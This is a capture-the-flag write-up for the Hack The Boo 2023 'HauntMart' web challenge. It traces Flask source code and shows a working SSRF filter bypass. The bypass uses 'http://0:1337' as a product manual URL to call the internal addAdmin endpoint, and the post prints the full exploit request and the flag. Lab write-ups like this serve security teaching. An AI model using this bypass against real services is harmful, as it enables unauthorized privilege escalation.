Post

HauntMart

Challenge

  • CTF: Hack The Boo 2023 Official Writeup
  • Name: HauntMart
  • Category: Web
  • Difficulty: Easy
  • Points: 300
  • Description: An eerie expedition into the world of online retail, where the most sinister and spine-tingling inventory reigns supreme. Can you take it down?
  • Objective: SSRF Filter Bypass

Files

Download: web_hauntmart.zip

Writeup

Lets spin-up the docker image of the web and setup our static-code analysis IDE:

1
2
code .
sudo ./build_docker.sh

Browsing to the local webpage: http://127.0.0.1:1337/, we are greeted with a login page: hauntmart_1

Register at /api/register and login at /api/login with arbitrary credentials of test:test and the homepage is shown below at /home: hauntmart_2

Source code analysis:

The following code snippets were traced that contain logic to make a user have administrative level permissions to access the admin page that contains the flag. application/blueprints/routes.py

1
2
3
4
5
6
7
8
9
10
11
12
13
@api.route('/addAdmin', methods=['GET'])
@isFromLocalhost
def addAdmin():
    username = request.args.get('username')

    if not username:
        return response('Invalid username'), 400

    result = makeUserAdmin(username)

    if result:
        return response('User updated!')
    return response('Invalid username'), 400

application/database.py

1
2
3
4
5
6
7
8
9
def makeUserAdmin(username):
    check_user = query('SELECT username FROM users WHERE username = %s', (username,), one=True)

    if check_user:
        query('UPDATE users SET role="admin" WHERE username=%s', (username,))
        mysql.connection.commit()
        return True

    return False

application/templates/index.html

1
2
3
4
5
..[snip]..
{% if user['role'] == 'admin' %}
	{{flag}}
{% endif %}
..[snip]..

SSRF Exploitation

After we are authenticated, we can add products. There exists an SSRF vulnerability where we can add a manual link to the product and the server will send a request as shown at r = requests.get(url). We can use this to send a localhost request to /api/addAdmin?username= to add ourselves to administrative privileges. application/util.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def downloadManual(url):
    safeUrl = isSafeUrl(url)
    if safeUrl:
        try:
            local_filename = url.split("/")[-1]
            r = requests.get(url)

            with open(f"/opt/manualFiles/{local_filename}", "wb") as f:
                for chunk in r.iter_content(chunk_size=1024):
                    if chunk:
                        f.write(chunk)
            return True
        except:
            return False

    return False

Note: http://127.0.0.1:1337/api/addAdmin?username=test does not work! This is because local loopback address. However, http://0:1337/api/addAdmin?username=test works as shown below: hauntmart_3 Request:

1
2
3
4
5
6
7
8
9
10
11
12
POST /api/product HTTP/1.1
Host: 83.136.254.53:33995
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Content-Length: 97
Connection: close
Cookie: session=.eJwVy0sOgjAUQNG9dAGEghh1piWQ1_AJSAkybGm0UIofEkTj3oXxveeLxqGTBh2QnOmNh0KligL7AE4UvMDkniCwhe5elYTurWXCwiln3gdjfV6CybVwMxUROnPnraEdVFMlWqy4LzcrjouLl_qZmxRiio1tBc-JMh4ZSSBsW05YU9S7sHLkyRwD9wE91lfbj7nXdOj3B9U4NQc.ZTxaVg.LiI-VBg93R8LJltGxqm-1cjICgs

{"name":"test","price":"1","description":"1","manual":"http://0:1337/api/addAdmin?username=test"}

Relogging in to obtain the flag: hauntmart_4

Flag: HTB{A11_55RF_5C4rY_p4tch_3m_411!}

This post is licensed under CC BY 4.0 by the author.